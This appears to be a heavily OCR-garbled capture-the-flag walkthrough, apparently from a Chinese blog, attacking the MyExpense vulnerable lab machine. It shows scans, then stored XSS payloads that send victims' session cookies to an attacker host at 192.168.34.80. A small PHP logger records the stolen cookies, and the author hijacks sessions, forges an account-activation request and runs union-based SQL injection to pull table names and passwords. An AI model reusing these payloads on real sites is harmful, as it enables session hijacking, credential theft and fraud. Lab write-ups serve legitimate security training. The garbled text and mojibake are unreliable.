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nmap -sV -p- 192.168.34.157

nmap -sV -p- -T4 192.168.34.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-16 06:59 EST
Nmap scan report for 192.168.34.157
Host is up (0.0041s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
35121/tcp open http Mongoose httpd
36569/tcp open http Mongoose httpd
48475/tcp open http Mongoose httpd
53021/tcp open unknown
MAC Address: 08:00:27:2A:27:CB (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at htth-'
Nmap done: 1 IP address (1 host up) scanned in 178.14 seconds iy
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Welcome to MyExpense Application

MyExpense application allow collaborators and managers to report their expenses in order to be reimburesed as quick as possible.
Collaborator : your manager, then the financial approver have to validate your request.
Manager : the financial approver has to validate your request.

To report an expense you have to login first. If you have meet any issue with the application or a request, please use the internal messaging system.

sdn.netiqq_41918771

dirb http://192.168.34.157/



- Scanning URL: http://192.168.34.157/ ----
> DIRECTORY: http://192.168.34.157/admin/
> DIRECTORY: http://192.168.34.157/config/
> DIRECTORY: http://192.168.34.157/css/
> DIRECTORY: http://192.168.34.157/fonts/
> DIRECTORY: http://192.168.34.157/img/
=> DIRECTORY: http://192.168.34.157/includes/
+ http://192.168.34.157/index.php (CODE:280|SIZE:2122)
+ http://192.168.34.157/robots.txt (CODE:200|SIZE:41)
+ http://192.168.34.157/server-status (CODE:403|SIZE:1630)

- Entering directory: http://192.168.34.157/admin/ ----
+ http://192.168.34.157/admin/admin.php (CODE:200|SIZE:13853)

- Entering directory: http://192.168.34.157//config/

- Entering directory: http://192.168.34.157/css/ ----

- Entering directory: http:ff192.168.34.15?ff0nt%ﬂf-
11
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i lalrobots.txt

192.168.34.157 /robots.txt

<« c (0 192.168.34.157/robots. bt

User—agent: *
Disallow: /fadmin/admin. php

A —admin/admin.php. i HEE



MHHE) ®EE TEN BEE #EE T80 #FEHH)

' Futura Business Informatiq. X 8

nmoe s e B O

0 &g s LB

Informatique

Users

Username Firstname Lastname Email address Role Last Connection Action
rmasson Rodrigue Masson rmasson@futurabl.fr Administrator 2019-12-16 12:57:25
vhoffmann Victorine Hoffmann vhoffmann@futuraBl.fr Collaborateur 2019-12-16 12:57:25
brenaud Bemadette Renaud brenaud@Irtechnologies. fr Collaborator 2019-12-16 12:57:25
broy Baudouin Roy broy@futuraBl.fr Collaborator 20191216 12:57:25
nthomas Ninette Thomas nthomas@futuraBl.fr Collaborator 2019-12-16 12:57:25
pgervais Placide Gervais pgervais@futurabl.fr Collaborator 2019-12-16 12:57:25
placombe Philibert Lacombe placombe@futurabBl.fr Collaborator 2019-12-16 12:57:25
slamotte Samuel Lamotte slamotte@futuraBl fr Collaborator 2019-12-16 12:57:25
triou Thierry Riou triou@futuraBl Tr Collaborator 2019-12-16 12:57:25
afoulon Aristide Foulon afoulon@futuraBl ir Financial approver 20181216 12:57:25
pbaudouin Paul Baudouin pbaudouin@futurabl fr Financial approver 2019-12-16 12:57:25
mnguyen Maximilien Nguyen mnguyen@futuraBl_fr Manager 2019-12-16 12:57:25
mriviere Manon Riviere mriviere@futuraBl fr Manager 20181216 12:57:25

riefrancois Reynaud Lefrancois riefrancois@futurabl.fr Manager 2019-12-16 12:57:25
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Sorry, the application is for internal use only. If you are a new collaborator but your account is inactive, please contact your manager or the Futura Business Informatique Manager Team.
Low 1 |

Username :

Create an account

Password :

Confirm Password :

Site :

Paris 2

Email address :

Firstname :
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Site :

Paris w

Email address :

123456789@qq.com

Firsthame :

123456

Lastname :

132456

Hps:tin

132456
Sign up ! A"
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b <div class="form-group™ (= </div> J%b‘l:ﬁ BFHE—TEE (F
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<button class="btn btn-primary btn-block™ type="submit" name="signup" value="signup" disabled=""> i

sign up !</button> .btn-primary, .btn-primary Py Wbtn- style.css:iz WRE FREERE
</form> primary:act .btn-prima isited,
.btn-primary cus, .btn-primary:active:focus .btn- v e
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Users

Username Firstname Lastname Email address Role Last Connection Status Action
rmasson Rodrigue Masson rmasson@futurabl.ir Administrator 2019-12-16 12:57:25 Active
vhofimann Vicigoe Hoffmann vhofimann@futuraBl.fr Collaborateur 2019-12-16 12:57:25 Active
123456789 123456 132456 123436789@0gq.com Collaborator -
brenaud Bernadette Renaud brenaud@lrtechnologies.fr Collaborator 2019-12-16 12:57:25
broy Baudouin Roy broy@futuraBl.ir Collaborator 2019-12-16 12:57:25 Active
nthomas Ninette Thomas nthomas@futuraBl.fr Collaborator 2018-12-16 12:57:25 Active
pgervais Placide Gervais pgervais@futurabl.fr Collaborator 2019-12-16 12:57:25
placombe Philibert Lacombe placombe@futuraBl_fr Collaborator 2019-12-16 12:57:25 Active
slamotte E/I\Smﬁﬁ[-%’%ﬁ%)kﬁ slamotte@futuraBl.fr Collaborator 2%?@@%%%\

= TN
triou Thierry Riou triou@futurabl.fr Collaborator 2019-12-16 12:57:25 Active
afoulon ristide Foulon afoulon@futuraBl.fr Financial approver 2018-12-16 12:57:25 Active
pbaudouin Paul Baudouin pbaudouin@futurabl ir Financial approver 2019-12-16 12:57:25 Active
mnguyen Maximilien Nguyen mnguyen@futuraBl fr Manager 2019-12-16 12:57:25 [Pictive
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<script>document.write('<img src="http://192.168.34.80/1.php?cmd="+document.cookie+"'" width=0 height=0 border=0
/>");</script>

<?php

$a = $_GET['cmd'];
file_put_contents("1.txt",$a."\n",FILE_APPEND);
?>

SR G EVE M R T 98 Apayload. iR T firstname, #R3%,



Username :

12345611

Password :

Confirm Password :

Site :

Paris ~

Email address :

12345611@qq.com

Firstname :

<script>document write('<img src="http://192 168

Lastname :

123456

Z7—1MHF, I Hfirstname %, BHRNEGPATERINT .

Users
Username Firstname Lastname Email address Role Last Connection Status Action

rmasson Rodrigue Masson rmasson@futurabl.fr Administrator 2019-12-16 12:57:25

vhoffma Victorine Hoffmann vhoffmann@futurabl.fr Collaborateur 2019-12-16 12:57:25

12345611 123456 12345611@4gg.com Collaborator

123456789 123456 132456 123456789@0qqg.com Collaborator

brenaud Bernadette Renaud brenaud@Irtechnologies.fr Collaborator 2019-12-16 12:57:25 Active

broy Baudouin Roy broy@futurabl.fr Collaborator 2019-12-16 12:57:25
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root@kali: fvarfwwwihtm|
root@kali: fvarfwww/html ®
cat 1.txt

PHPSESSID=se9pnsgulhriklmd42tclhnpcr2
PHPSESSID=1q01s179rjughfcgo9tsb3eekl

PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
- |

RIVIE 23R8 FH & H2 7 I cookie: PHPSESSID=Iq01sl79rjughfcgo9tsb3eek1, ZiiEsamuel /7, A EuE#4H, MEB%
cookieo

'
placombe Philibert Lacombe placombe@futurabl.fr Collaborator 2019-12-16 12:57:25 m ,:‘?'_ﬂi
slamotte Samuel Lamotte slamotte@futuraBl.fr Collaborator 2019-12-16 12:57:25
triou Thierry Riou triou@futuraBl.fr Collaborator 2019-12-16 12:57:25 m \
Afrlan Arictidn Ernlan AfrlAn AR D fr Einaneinl annrmonr AN 47 AC 47-ET-AE [ ]

l Forward J l Drop J | Intercept is on | Action Comment this item

Raw | Params | Headers | Hex

GET fadmin/admin.php?id=11&status=active HTTP/1.1

Host: 192.168.34.157

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtrml+xml application/xml; g=0.9 **,q=0.8

Accept-Language: zh-CM,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en; g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.34.157 fadmin/admin.php

Cookie: PHPSESSID=IqD1sITBl]uthchQtshSeeMl

Upgrade-Insecure-Requests: 1 \

K%, BEERR: BEA—AEHER, EE—FEREPIANE—K, NXETUEH, FEEMAERXATE, HH4HKERE
RAKE, WiXBEELAEH _EHEAScookieE L R cookie.
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Sorry, as an administrator, you can be authenticated only once a time.

LN\ \

Sorry, you don't have permission to view or access this directory or page using the credentials that you supplied.
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Error 403 - Forbidden

: Y log.csdn.net/qg_41918771

cat 1.txt
PHPSESSID=se9pnsgulhriklmd42tclhnpcr2
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
cat 1.txt
PHPSESSID=se9pnsgulhrilklmd2tclhnpcr2
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjuqghfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjuqhfcgo9tsb3eekl
PHPSESSID=1q01s179rjuqghfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfcgo9tsb3eekl
PHPSESSID=1q01s179rjughfc
https

BEAR AT B M8 F cookie 2B HANK S, ARV WiExssiBA), ibEGMA B RZTRER, HEHER A CBIERANK
5o BERMEEEAEE B S5d=118&status=active. FTLA#i&Epayload Wi T :

<script>document.write('<img src="http://192.168.34.157/admin/admin.php?id=11&status=active"”/>");</script>
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Username :

304681545

Password :

Confirm Password :

Site :

Paris >

Email address :

304681545@qg.com

Firstname :

Iminfadmin.php?id=11&status=active"/="),</script= /

Lastname :

| 123123 |
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Username Firstname Lastname Email address Role Last Connection Action
rmasson Rodrigue Masson rmasson@futurabl fr Administrator 2019-12-16 12:57:25

vhoffmann Victorine Hofimann vhoffmann@futuraBl.fr Collaborateur 20191216 12:57:25
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12345611 123456 12345611@qqg.com Collaborator

123456789 123456 132456 123456789@qgq.com Collaborator

=1
o
e
@

394681545 |— 123123 394681545@qqg.com Collaborator

brenaud Bernadette Renaud brenaud@lrtechnologies fr Collaborator 2019-12-16 12:57:25
broy Baudouin Roy broy@futurabBl.fr Collaborator 2019-12-16 12:57:25
nthomas Ninette Thomas nthomas@futurabl.ir Collaborator 20191216 12:57:25
pgervais Placide Gervais paervais@futurabBl.ir Collaborator 2019-12-16 12:57:25
placombe Philibert Lacombe placombe@futuraBl.fr Collaborator 20191216 12:57:25

slamotte Samuel Lamotte slamotte@futuraBl.fr Collaborator 2019-12-16 12:57:25

triou Thierry Riou triou@futuraBl.r Collaborator 20191216 12:57:25
afoulon Aristide Foulon afoulon@futurabl.fr Financial approver 2019-12-16 12:57:25
pbaudouin Paul Baudouin pbaudouin@futurabl.fr Financial approver 2019-12-16 12:57:25
mnguyen Maximilien Nguyen mnguyen@futurasl fr Manager 2019-12-16 12:57:25
mriviere Manon Riviere mriviere@futurasl.fr Manager 2019-12-16 12:57:25

riefrancois Reynaud Lefrancois riefrancois@futuraBl.fr Manager 2019-12-16 12:57:25
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Username :

slamotte

Password :
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Last messages

Initiated By / Date Message

Manon Riviere (Rennes)  Great | Thank you.
Manager
2018-02-11 16:34:48

Aristide Foulon (Paris)  The status of your expense report will be " Sent for payment”.
Financial approver
2018-02-11 14:.01:45

Ninette Thomas (Brest)  How do | know if my expense report is reimbursed?
Collaborator
2018-02-11 13:44:43

Maximilien Nguyen (Brest)  Less time wasted than send excel file in a mail!
Manager
2018-02-11 11:23:12

Paul Baudouin (Paris)  MyExpense application allow collaborators and managers to report their expenses in order to be reimburesed as quick as possible.
Financial approver
2018-02-11 10:52:08

Post a new message

Your message :

RITREZHR. BRXREEREFREK750MTIE. RERE, WSERMRTRISHCHNESENNSAG. £28FRRE
F =3 iflag. MR E 2 FE K BCAEFEO TV H & Rindexphp, HJLAIFIC, #ETHAT)
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My Expense reports

Date Amount Comment Status Action

2018-02-15 750 € Plane tickets, Cybersecurily project n°5423545, Toulouse. Opened i |

3 B0l S SERRERRE RATHRIAAZTN =
New expense report
1918771

crag aaprars e s epeas e

Date Amount Comment Status Action

2018-02-15 750 € Plane tickets, Cybersecurity project n°5423545, Toulouse. Submitted

XA P23 Manon



Username :

slamotte ——

Role :

Collaborator

Site :

Rennes

Manager :

Manon Riviere —

XEHRT —BE, KW THEHEEXssRIR

WGy

2018-02-11 11:23:12

Paul Baudouin (Paris) MyExpense application allow collaborators and managers to report their expenses in order to be reimburesed as quick as possible.
Financial approver
2018-02-11 10:52:08

CTVNAENAL s R BT ATEdE N Y

Post a new message

Your message :

Post your message

X B IRIE R KB cookie, X EFKIAZ2.php.

<script>document.write('<img src="http://192.168.34.80/2.php?cmd="+document.cookie+'" width=0 height=0 border=0
/>");</script>

<?php

$a = $ GET['cmd'];

file_put_contents("2.txt",%a." ".date('H:i:s')."\n",FILE_APPEND);
?>

L L By L BV 3 n (. R - DA LS J ] A N

Post a new message

Your message :

<script>document write('<img src="http://192.168.34.80
12| php?cmd="+document cookie+" width=0 height=0 border=0 /=');</script>

Post your message

BB, I BT
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Samuel Lamotte (Rennes)
Collaborator
2019-12-16 13:41:16

Manon Riviere (Rennes)  Great | Thank you.
Manager
2018-02-11 16:34:48

Aristide Foulon (Paris)
Financial approver
2018-02-11 14:01:45

Ninette Thomas (Brest) How do | know if my expense report is reimbursed?

Collaborator
2018-02-11 13:44:43

R ERBKal, KIZ T 1 JLAcookies

'\

The status of your expense report will be " Sent for payment”.

—AN—AERE, SRIE—NMREH Armasson, &F —MREZLHmriviere, i&H — /M Epgervais, &H —/Enthomas. X B Xt

. NEERAZBENLE S Kicookie. Sz R

cookieBENLHI, FRIT—AD—AZRTF

RERE T LHE M cookie. FE| T RATKIAA750/ P R &

Expense reports

Jense reports

Collaborator's name Amount

5 Samuel Lamotte 750 €

B SR 41

s

Amount Comment

1 553 € A new computer.

R #EX 2, RAHEZELT .

Plane tickets, Cybersecurity project
n°5423545, Toulouse.

OO e e

Comment Status Action

Submitted

I3

Status

Validated

The expense report is validated successfully !

Collaborators Expense reports

Date Collaborator's name

S S -HHH

My Expense reports

FHER T 2L E R % A R pbaudouin

N libe

Amount Comment Status

7SR TR L=



your profile

Your professional information

Username : /
mriviere

Role :

Manager

Site :

Rennes

Manager :

Paul Baudouin

net/ng_41918771

BXREZFIRINEHES, RREEBRANBIERRE .

itura Business
nformatique

My Expense reports

Amount Comment Status Action

Date

750 € Validated

2018-02-15 Plane tickets, Cybersecurity project n®5423545, Toulouse.

2 Bl b NER R AT 1T 68dn nilg_41918771

REXANRA B Sent for paymentS i% it % 75 78 X AN Pk T



Initiated By / Date Message

Samuel Lamotte (Rennes)
Collaborator
2019-12-16 13:41:16

Manon Riviere (Rennes)  Great ! Thank you.
Manager
2018-02-11 16:34:48

Aristide Foulon (Paris)  The status of your expense report will be " Sent for payment"”.

Financial approver s
2018-02-11 14:.01:45 =

Ninette Thomas (Brest)  How do | know if my expense report is reimbursed?
Collaborator
2018-02-11 13:44:43 rﬁ]@
Maximilien Nguyen (Brest) Less time wasted than send excel file in a mail!
Manager
2018-02-11 11:23:12

Paul Baudouin (Paris) MyExpense application allow collaborators and managers to report their expenses in order to be reimburesed as quick as possible.
Financial approver
2018-02-11 10:52:08

S BHEZE S hint. 8 TRRRBM F A RKKS FG

WAEF & B cookie B R BN L HEIKS: Manon, Vi SHiEKIRennes T, M F NIRRT SH NId=2.
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M BE G Google @ OxPwn python CES o] webiBiE PWN EE FERRE CTF windows linux I8 HE = »

Futura Business
Informatique

Rennes (8 Rue des lilas, 35000 Rennes)

Firstname Lastname Email address Role

IManon Riviere mriviere@futuraBl.ir Manager

Bernadette Renaud brenaud@Irtechnologies. fr Collaborator

Samuel Lamotie slamotte@futuraBl.fr Collaborator
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1, @ technical error has occured.

NN\l

Lastname Email address Role

R HH T <S5
>

RIBAHIE, BilpayloadL 55

Firstname

id=2 and 1=1;#

C [ © F=2 | 192.168.34.90/site.php?id=2%20and%201=1;# ————— B o) T g o
@ SE G Google @ 0xPwn python CES ol webigiE PWN A E 2l CTF windows linux I= He zE ¥ =

) Futura Business
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a technical emor has occured

NN dlllivr

Lastname Email address Role

Firstname

Manon Riviere mriviere@futuraBl.fr Manager
Bernadette Renaud brenaud@irtechnologies.fr Collaborator
Samuel Lamotte slamotte@futuraBl.fr Collaborator
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:chnical error has occured.
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Firstname Lastname Email address Role
IManon Riviere mriviere@futuraBl.ir IManager
Bernadette Renaud brenaud@irtechnologies.fr Collaborator
Samuel Lamotie slamotte@futuraBl.fr Collaborator
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id=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database(
)),3,45#
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Firstname Lastname Email address Role
IManon Riviere mriviere@futuraBlfr Manager
Bernadetie Renaud brenaud@Irtechnologies.fr Collaborator
Samuel Lamotte slamotte@futuraBl.fr Collaborator
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id=2 union select 1, (select password from user where username='pbaudouin' ),3,4;#
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IManon Riviere mriviere@futuraBl.fr IManager
Bernadette Renaud brenaud@Irtechnologies.ir Collaborator
Samuel Lameotte slamotte@futuraBl.fr Collaborator
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Last messages

Initiated By / Date Message Action

Samuel Lamotte (Rennes)
Collaborator E
2019-12-19 02:58:41

Manon Riviere (Rennes)  Great ! Thank you.
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Collaborators Expense reports
Date Collaborator's name Comment Status Action

2018-02-15 Samuel Lamoite Plane tickets, Cybersecurity project Validated n E
n°5423545, Toulouse.

My Expense reports

% HEyes.

'm your action

Are you sure to want to send for
payment this expense report ?

-

No
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yorators Expense reports

Date Collaborator's name Amount Comment Status Action
2018-02-15 Samuel Lamotte 750 € Plane tickets, Cybersecurity project Validated n E
n°5423545, Toulouse.
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My Expense reports

Date Amount Comment Status Action
2018-02-15 750 € Plane tickets, Cybersecurity project n®5423545, Toulouse Sent for payment
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New expense report
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